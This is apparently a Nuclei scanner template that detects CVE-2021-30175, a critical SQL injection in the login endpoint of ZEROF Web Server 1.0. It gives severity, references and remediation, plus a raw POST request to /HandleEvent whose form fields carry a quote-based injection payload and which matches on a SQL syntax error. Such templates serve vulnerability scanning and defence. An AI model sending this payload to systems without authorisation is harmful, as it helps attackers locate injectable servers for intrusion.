id: CVE-2021-30175

info:
  name: ZEROF Web Server 1.0 - SQL Injection
  author: edoardottt
  severity: critical
  description: |
    ZEROF Web Server 1.0 (April 2021) allows SQL Injection via the /HandleEvent endpoint for the login page.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the SQL Injection vulnerability in ZEROF Web Server 1.0.
  reference:
    - https://github.com/awillix/research/blob/main/cve/CVE-2021-30175.md
    - https://nvd.nist.gov/vuln/detail/CVE-2021-30175
    - https://pro.zerof.ru
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-30175
    cwe-id: CWE-89
    epss-score: 0.04078
    epss-percentile: 0.91168
    cpe: cpe:2.3:a:zerof:web_server:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zerof
    product: web_server
  tags: cve,cve2021,zerof,sqli

http:
  - raw:
      - |
        POST /HandleEvent HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        Ajax=1&IsEvent=1&Obj=O4F&Evt=click&this=O4F&"_fp_=_S_ID=CteTYLjmYw108029DC1&O33=%020%02%02'&O37=%020%02%02fff"&_seq_=2&_uo_=O

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "You have an error in your SQL syntax"

      - type: word
        part: header
        words:
          - "ZEROF"

      - type: status
        status:
          - 200

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